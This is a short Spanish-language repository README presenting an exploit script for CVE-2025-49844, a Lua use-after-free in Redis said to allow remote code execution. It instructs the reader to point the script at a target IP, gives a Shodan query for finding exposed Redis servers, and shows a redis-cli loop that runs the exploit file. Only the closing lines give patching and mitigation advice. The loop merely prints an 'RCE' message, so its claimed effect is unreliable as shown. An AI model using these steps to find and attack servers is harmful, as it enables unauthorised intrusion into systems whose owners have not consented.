elyasbassir/cve-2025-49844Exploit script para CVE-2025-49844, una vulnerabilidad de use-after-free en el analizador Lua de Redis, que permite la ejecución remota de código en servidores Redis vulnerables.
Resumen y simple: ejecutas este script y en lugar de
localhost
le pones la IP del objetivo y ajustas su puerto, se conecta si es vulnerable y puedes ejecutar el comando que quieras.
En Shodan también puedes encontrar objetivos vulnerables con este payload
product:"Redis key-value store"
Revisa la versión, que sea inferior a 8.2
while redis-cli -h localhost -p 6379 --eval CVE-2025-49844.lua >/dev/null; do
printf 'connect to server :) RCE'
done
Si puedes, actualiza Redis a 8.2.2 o superior.
Si no puedes actualizar, al menos desactiva la ejecución de Lua para usuarios desconocidos o no confiables.